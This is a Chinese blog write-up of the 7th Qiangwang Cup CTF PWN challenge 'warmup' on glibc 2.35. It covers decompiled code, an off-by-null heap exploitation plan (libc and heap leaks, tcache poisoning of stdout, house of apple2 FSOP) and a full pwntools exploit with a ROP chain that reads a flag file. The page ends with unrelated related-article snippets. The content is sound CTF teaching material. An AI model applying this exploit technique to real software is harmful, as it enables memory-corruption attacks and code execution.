第七届强网杯-PWN-【warmup】

news2024/11/16 21:38:54

文章目录

  • warmup libc 2.35
  • 检查
  • IDA逆向
    • main
    • deldelete_note
    • add_note
    • show_note
    • input_number
    • read_16
      • atoi
    • __errno_location()
      • 相关解释
      • prctl相关
  • 思路
    • 高版本off by null利用技巧产生chunk extend
    • 泄露libc基地址
    • 泄露heap基地址
    • 修改放入tcachebin中的chunk的fd为stdout
    • 最后add两个chunk
  • exp

warmup libc 2.35

检查

在这里插入图片描述

IDA逆向

main

void __fastcall __noreturn main(const char *a1, char **a2, char **a3)
{
  int v3; // eax

  pro_set();
  put_warmup_string();
  while ( 1 )
  {
    put_menu();
    v3 = input_number();
    if ( v3 == 4 )
      _exit(0);
    if ( v3 > 4 )
    {
LABEL_12:
      a1 = "Invalid!";
      puts("Invalid!");
    }
    else
    {
      switch ( v3 )
      {
        case 3:
          deldelete_note();
          break;
        case 1:
          add_note();
          break;
        case 2:
          首位、
          show_note(a1, a2);
          break;
        default:
          goto LABEL_12;
      }
    }
  }
}

deldelete_note

unsigned __int64 delete_note()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Index: ");
  v1 = input_number();
  if ( v1 < 0x13 )
  {
    if ( chunk_addr_array[v1] )
    {
      free(chunk_addr_array[v1]);
      chunk_addr_array[v1] = 0LL;
      puts("Success~");
    }
  }
  else
  {
    puts("Error!");
  }
  return v2 - __readfsqword(0x28u);
}

add_note

unsigned __int64 add_note()
{
  int i; // [rsp+Ch] [rbp-14h]
  int size; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  for ( i = 0; i <= 18 && chunk_addr_array[i]; ++i )
    ;
  if ( i == 19 )
  {
    puts("FUll!");
  }
  else
  {
    printf("Size: ");
    size = input_number();
    if ( size <= 0 || size > 0xFFFF )
    {
      puts("Error!");
    }
    else
    {
      chunk_addr_array[i] = malloc(size);
      if ( !chunk_addr_array[i] )
      {
        puts("Error!");
        _exit(0);
      }
      printf("Note: ");
      *((_BYTE *)chunk_addr_array[i] + (int)read(0, chunk_addr_array[i], size)) = '\0';// chunk的内容尾部为空字符
      puts("Success~");
    }
  }
  return v3 - __readfsqword(0x28u);
}

show_note

unsigned __int64 show_note()
{
  unsigned int index; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Index: ");
  index = input_number();
  if ( index < 0x13 )
  {
    if ( chunk_addr_array[index] )
    {
      printf("Note: ");
      puts((const char *)chunk_addr_array[index]);
    }
  }
  else
  {
    puts("Error!");
  }
  return v2 - __readfsqword(0x28u);
}

input_number

int input_number()
{
  char s[24]; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  memset(s, 0, sizeof(s));
  read_16(s, 16LL);
  return atoi(s);
}

read_16

unsigned __int64 __fastcall read_16(char *a1, __int64 int64_16)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  v7 = __readfsqword(0x28u);
  while ( int64_16-- )
  {
    one_char = read(0, a1, 1uLL);
    if ( !one_char )
      break;
    if ( one_char == -1 )
    {
      if ( *__errno_location() != 11 && *__errno_location() != 4 )
        return v7 - __readfsqword(0x28u);
    }
    else
    {
      if ( *a1 == '\n' )
      {
        *a1 = 0;
        return v7 - __readfsqword(0x28u);
      }
      ++a1;
    }
  }
  return v7 - __readfsqword(0x28u);
}

atoi

atoi 是 C 语言标准库中的一个函数,用于将字符串转换为整数。该函数的名称源自 “ASCII to integer” 的缩写。atoi 函数定义在 <stdlib.h> 头文件中,它所做的基本上就是解析一个字符串并将其转换成一个 int 类型的数值。

函数的原型如下:


int atoi(const char *str);

参数 str 是一个指向以空字符 ‘\0’ 结尾的字符数组(即 C 字符串)的指针。atoi 函数会扫描字符串 str,跳过任何空白字符(如空格),直到遇到第一个非空白的字符为止,然后从这个字符开始解析直到遇到第一个非数字的字符或字符串结尾。

下面是 atoi 方法使用的一般步骤:

  1. 忽略字符串前面的所有空白字符。
  2. 记录正负符号(如果有的话)。正数通常不带符号,而负数以 - 开头。
  3. 解析字符串中的数字,直到遇到非数字字符或字符串末尾。
  4. 将解析到的数字收集起来并转换成一个整数。
  5. 如果解析到的数字前带有 -,则将结果转换为负数。

__errno_location()

__errno_location() 是在某些 UNIX-like 系统上,特别是在 Linux 系统的 GNU C Library (glibc) 中定义的一个函数。这个函数用于获取 errno 的地址。errno 是一个全局变量或宏定义,用于存储函数在执行时遇到的错误代码。

在多线程应用程序中,使用全局变量存储错误码会有问题,因为当多个线程同时更新这个变量时将会相互冲突。为了解决这个问题,errno 在多线程环境中一般实现为一个宏,映射到一个线程局部存储(thread-local storage,TLS), 确保每个线程都有自己的 errno 值副本。

__errno_location() 函数就是用来获取当前线程 errno 变量地址的函数。这个函数通常不会被应用程序直接使用,而是由 errno 宏调用来获取当前线程的 errno 值。如果你直接包含 <errno.h> 并使用 errno,编译器在大多数现代系统上会自动处理成调用类似 __errno_location() 的函数。

相关解释

if (one_char == -1): 这行代码检查变量 one_char 是否等于 -1。在涉及从流中读取字符的函数中,-1 通常表示发生了一个错误或到达了文件末尾(EOF)。

if (*__errno_location() != 11 && *__errno_location() != 4): 这是一个嵌套的 if 语句,当 one_char 等于 -1 时会执行。它使用 __errno_location() 函数获取 errno 的地址,并通过解引用来检查其值。它检查 errno 是否不等于 11 和 4,这两个数字分别代表特定的错误码:

11 是 EAGAIN (Linux 上的错误代码),表示 I/O 操作会阻塞,应稍后重试。
4 是 EINTR,表示操作在能完成之前被信号中断了。

prctl相关

#include <sys/prctl.h>
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);

// 主要关注prctl()函数的第一个参数,也就是option,设定的option的值的不同导致黑名单不同,介绍2个比较重要的option
// PR_SET_NO_NEW_PRIVS(38) 和 PR_SET_SECCOMP(22)

// option为38的情况
// 此时第二个参数设置为1,则禁用execve系统调用且子进程一样受用
prctl(38, 1LL, 0LL, 0LL, 0LL);

// option为22的情况
// 此时第二个参数为1,只允许调用read/write/_exit(not exit_group)/sigreturn这几个syscall
// 第二个参数为2,则为过滤模式,其中对syscall的限制通过参数3的结构体来自定义过滤规则。
prctl(22, 2LL, &v1);
复制代码

思路

高版本off by null利用技巧产生chunk extend

高版本off by null

泄露libc基地址

extend后的大chunk遇到malloc分割后剩余的部分与原相关得到的chunk的位置重合,从而邪路unsortedbin基地址

泄露heap基地址

与泄露libc基地址差不多,只不过该chunk被free到tcachebin里了

修改放入tcachebin中的chunk的fd为stdout

记得先提前free一个chunk到tcachebin中,然后再修改

通过free掉一个chunk,使得该chunk位于tcachebin中并且然后通过另一个原chunk再次add并且add的size范围包括该free的chunk的开始一部分,从而能够使得add时修改该freechunk的开始的一部分

最后add两个chunk

如何布置参考house of apple2
使得第一个chunk布置相关rop,第二个chunk布置相关IO_FILE_plus_struct的伪造结构体,然后根据house of apple2来布置,并最后orw

exp

from pwn import *
from pwncli import *

context(os="linux",arch="amd64")
f=process("./warmup")
libc=ELF("./libc.so.6")
#gdb.attach(f)

def menu(number):
    f.recvuntil(b">> ")
    f.sendline(str(number))

def add(size,content):
    menu(1)
    f.sendlineafter(b"Size: ",str(size))
    f.sendafter(b"Note: ",content)


def show(index):
    menu(2)
    f.sendlineafter(b"Index: ",str(index))

def delete(index):
    menu(3)
    f.sendlineafter(b"Index: ",str(index))

add(0x410,"0")#0
add(0x100,"0")#1
add(0x410,"0")#2 合并3的
add(0x440,"0")#3 
add(0x40,"0")#4 off by one写5
add(0x4d0,"0")#5 合并6的
add(0x410,"0")#6
add(0x10,"0")#7 防止合并的

delete(0)
delete(3)
delete(6)
delete(2)

payload=0x410*b"a"+p64(0)+p8(0xa0)+p8(0x4)
add(0x430,payload)# 0 对应原来2
add(0x410,"0")# 2 对应原来6
add(0x410,"0")# 3 对应原来0
add(0x420,"0")# 6 对应原来的3+0x20

delete(3)# 原来0
delete(6)# 原来3+0x20


add(0x410,p64(0)) # 3 原来0
add(0x420,"0") # 6 原来3+0x20

delete(6)
delete(2)
delete(5)


payload=0x4e0*b"a"
add(0x4f0,payload)# 2 原来5
add(0x3f0,"0") # 5 原来6+0x20
add(0x420,"0") # 6  原来3+0x20

delete(4) # 4
payload=0x40*b"a"+p64(0x4a0)
add(0x48,payload) # 4

delete(2)

add(0x10,"0") # 2
show(6) # unsorted bin addr

f.recvuntil("Note: ")
unsorted_bin_addr=f.recvuntil("\n")[:-1]
unsorted_bin_addr=u64(unsorted_bin_addr+2*b"\x00")
print("unsorted_bin_addr",hex(unsorted_bin_addr)) # -0x219ce0

libc_base=unsorted_bin_addr-0x219ce0
pop_rdi = libc_base + 0x000000000002a3e5
pop_rsi = libc_base + 0x000000000002be51
pop_rdxr12 = libc_base + 0x000000000011f0f7
ret = libc_base + 0x0000000000029cd6
pop_rax = libc_base + 0x0000000000045eb0
pop_rbp = libc_base + 0x000000000002a2e0
leave_ret = libc_base + 0x000000000004da83
close = libc_base + libc.sym['close']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
syscallret = libc_base + next(libc.search(asm('syscall\nret')))
stdout = libc.sym['_IO_2_1_stdout_'] + libc_base

add(0x300,"0") # 8
add(0x130,"0") # 9
add(0x3f0,"0") # 10
add(0x120,"0") # 11

add(0x3f0,"0") # 12
delete(12)

delete(8)
show(6) # heap addr

f.recvuntil("Note: ")
heap_addr=f.recvuntil("\n")[:-1]
heap_addr=int.from_bytes(heap_addr,"little")
heap_addr=heap_addr<<12
print("heap_addr",hex(heap_addr))


add(0x300,"0")# 8
delete(4)
delete(10)

payload=p64(((heap_addr + 0x1080) >> 12) ^ (stdout))[:-1]
payload=0x18*b"a"+p64(0x401)+payload
add(0x40,payload)#4




file1 = IO_FILE_plus_struct()
file1.flags = 0
file1._IO_read_ptr = pop_rbp
file1._IO_read_end = heap_addr + 0x1080  - 8
file1._IO_read_base = leave_ret
file1._IO_write_base = 0
file1._IO_write_ptr = 1
file1._lock = heap_addr 
file1.chain = leave_ret
file1._codecvt =stdout
file1._wide_data =stdout - 0x48
file1.vtable = libc.sym['_IO_wfile_jumps'] + libc_base - 0x20
print("vatable vaule",hex(file1.vtable))

print(len(file1))

flag_addr = heap_addr+ 0x100+0x1080
payload = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscallret) + p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdxr12) + p64(0x50) + p64(0) + p64(read) + p64(pop_rdi) + p64(1) + p64(write)
payload = payload.ljust(0x100, b'\x00')
payload += b'./flag\x00'


add(0x3f0,  payload) #10

add(0x3f0, bytes(file1))

f.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1501762.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

单链表详解(如何实现单链表)

文章目录 前言 一、单链表是什么&#xff1f;二、单链表的实现总结 顺序表的缺点 1.中间/头部的插入删除&#xff0c;时间复杂度为O (N) 2.realloc 扩容&#xff08;特别是异地扩&#xff0c;需要申请新空间&#xff0c;拷贝数据&#xff0c;释放旧空间&#xff09;会有不小的…

语音模块学习——LSYT201B模组(实际操作篇)

目录 一、定制词条 二、直接用串口通信 三、使用单片机通信 理论篇在这&#xff0c;依旧是深圳雷龙发展的语音模块。 http://t.csdnimg.cn/2SzJL 一、定制词条 因为我想后面加到我的毕设上加个语音模块&#xff0c;所以定制的词条都是和芯测相关的。 动作词条播报串口输…

【数据结构】单链表的层层实现!! !

关注小庄 顿顿解馋(●’◡’●) 上篇回顾 我们上篇学习了本质为数组的数据结构—顺序表&#xff0c;顺序表支持下标随机访问而且高速缓存命中率高&#xff0c;然而可能造成空间的浪费&#xff0c;同时增加数据时多次移动会造成效率低下&#xff0c;那有什么解决之法呢&#xff…

devops-Maven【部署及配置】

1、准备maven工具包&#xff0c;Maven官网下载Maven的安装包 Maven – Download Apache Maven Index of /maven (apache.org) 选择后缀是.bin.tar.gz的文件下载&#xff0c;此处下载的版本是3.9.6。 2、安装maven的目录下&#xff0c;建一个Maven路径&#xff0c;然后把压缩…

打开stable diffusion webui时,提示缺少clip或clip安装不上怎么办

在当前数字化时代&#xff0c;软件工具的应用已经成为人们日常生活和工作中不可或缺的一部分。而在使用各种软件工具的过程中&#xff0c;遇到一些技术性问题也是常有的事情。比如&#xff0c;在打开 Stable Diffusion WebUI 这样一个功能强大的工具时&#xff0c;有时会遇到缺…

【win11开启telnet】‘telnet‘ 不是内部或外部命令,也不是可运行的程序 或批处理文件。

解决Windows 11上的’telnet’问题 遇到了一个在Windows 11上常见的问题&#xff0c;那就是尝试使用telnet命令时&#xff0c;出现了以下的错误消息: ‘telnet’ 不是内部或外部命令&#xff0c;也不是可运行的程序 或批处理文件。 解决方案 打开“控制面板”。(Win R -&g…

C语言代码:玫瑰花

前文 在古希腊神话中&#xff0c;玫瑰花集爱与美于一身&#xff0c;既是美神的化身&#xff0c;又溶进了爱神的血液&#xff0c;所以它所代表的含义是爱情。 我们应该用玫瑰花来表达我们的爱意&#xff0c;但是好多的恋人都是因为异地而没有办法去买一束新鲜的玫瑰去送给自己的…

StarRocks实战——欢聚集团极速的数据分析能力

目录 一、大数据平台架构 二、OLAP选型及改进 三、StarRocks 经验沉淀 3.1 资源隔离&#xff0c;助力业务推广 3.1.1 面临的挑战 3.1.2 整体效果 3.2 稳定优先&#xff0c;监控先行&#xff0c;优化运维 3.3降低门槛&#xff0c;不折腾用户 3.3.1 与现有的平台做打通 …

Arm:初识Keil MDK Vision 6及VScode应用Keil 6(Keil Studio for VS Code安装与使用)

系列文章目录 目录 系列文章目录 前言 一、 Keil MDK Vision 6是什么&#xff1f; 二、Keil MDK Vision 6的组合 2.最值得一看的更新就是VScode插件 三、Keil MDK Vision 6与VScode的组合能碰撞出火花吗&#xff1f;&#xff08;Keil Studio for VS Code&#xff09; 前…

HBase安装,配置,启动,检查

目录: 一、HBase安装&#xff0c;配置 1、下载HBase安装包 2、解压&#xff0c;配置环境变量并激活 3、hbase 配置 4、将hadoop和zookeeper的配置文件创建软连接放在hbase配置目录 5、配置 regionserver 二、HBase启动与关闭&#xff0c;安装检验 1、启动关闭hbase的命令 2、 检…

关于手机是否支持h264的问题的解决方案

目录 现象 原理 修改内容 现象 开始以为是手机不支持h264的编码 。机器人chatgpt一通乱扯。 后来检查了下手机&#xff0c;明显是有h264嘛。 终于搞定&#xff0c;不枉凌晨三点起来思考 原理 WebRTC 默认使用的视频编码器是VP8和VP9&#xff0c;WebRTC内置了这两种编码器…

Java 学习和实践笔记(31):封装(encapsulation)

面向对象的三大特点&#xff1a;继承、封装、多态。前面学了继承&#xff0c;现在讲封装。 封装encapsulation一词来自于capsule&#xff0c;胶囊&#xff0c;小密器&#xff0c;密闭的空间。 封装的理念&#xff1a;高内聚&#xff0c;低耦合。 高内聚就是类的内部数据操作…

Python是编译型还是解释型?——跟老吕学Python编程

Python是编译型还是解释型&#xff1f; 编译型语言和解释型语言的概念编译型语言的定义解释型语言的定义 编译型语言和解释型语言的区别主要体现在程序的执行过程&#xff1a;编译型语言解释型语言 Python的编译和执行过程Python的解释器Python的交互式解释器Python与编译型语言…

thingsboard如何自定义udp-transport

0、参考netty实现udp的文章 https://github.com/narkhedesam/Netty-Simple-UDP-TCP-server-client/blob/master/netty-udp/src/com/sam/netty_udp/server/MessageDecoder.java 调试工具使用的是:卓岚TCP&UDP调试工具 1、在common\transport下面创建udp模块,仿照mqtt的创…

千兆网络变压器的特点

不要选错了&#xff0c;同款的小24PIN工业级千兆网络变压器有两种&#xff0c;外壳尺寸、工程参数完全相同。很多客户对这两款产品傻傻分不清&#xff0c;今天我就来详细介绍一下&#xff1a; HX82409S特点有三个&#xff1a; 一&#xff0c;采用单环设计&#xff0c;只有一颗…

部署 LVS(nginx)+keepalived高可用负载均衡集群

目录 一、集群的概述 1、什么是集群 2、普通集群与负载均衡集群 2.1 普通集群&#xff08;Regular Cluster&#xff09; 2.2 负载均衡集群&#xff08;Load Balancing Cluster&#xff09; 2.3 高可用集群&#xff08;High Availability Cluster&#xff09; 2.4 区别 …

SpringMVC03、HelloSpring

3、HelloSpring 3.1、配置版 新建一个Moudle &#xff0c; springmvc-02-hello &#xff0c; 添加web的支持&#xff01; 确定导入了SpringMVC 的依赖&#xff01; 配置web.xml &#xff0c; 注册DispatcherServlet <?xml version"1.0" encoding"UTF-8…

Leetcode3069. 将元素分配到两个数组中 I

Every day a Leetcode 题目来源&#xff1a;3069. 将元素分配到两个数组中 I 解法1&#xff1a;模拟 简单地按题意模拟。 代码&#xff1a; /** lc appleetcode.cn id3069 langcpp** [3069] 将元素分配到两个数组中 I*/// lc codestart class Solution { public:vector<…

详解HashMap、Hashtable和ConcurrentHashMap的区别

前言 本篇博客博主将详细地解释HashMap、Hashtable和ConcurrentHashMap的区别&#xff0c;坐好板凳发车啦~~ 在多线程使用哈希表&#xff0c;HashMap本身就不是线程安全的&#xff1b; 在多线程环境下使用哈希表可以使用&#xff1a;Hashtable和ConcurrentHashMap。 一.Has…

python学习 the fifth day

七、数据容器&#xff1a;dict字典 1.字典的定义 为什么需要字典&#xff1f; 通过key&#xff08;字典&#xff09;&#xff0c;取到对应的value 字典的key和value可以是任意数据类型&#xff08;key不可以是字典&#xff09; 字典的嵌套&#xff1a; #字典的嵌套dictiona…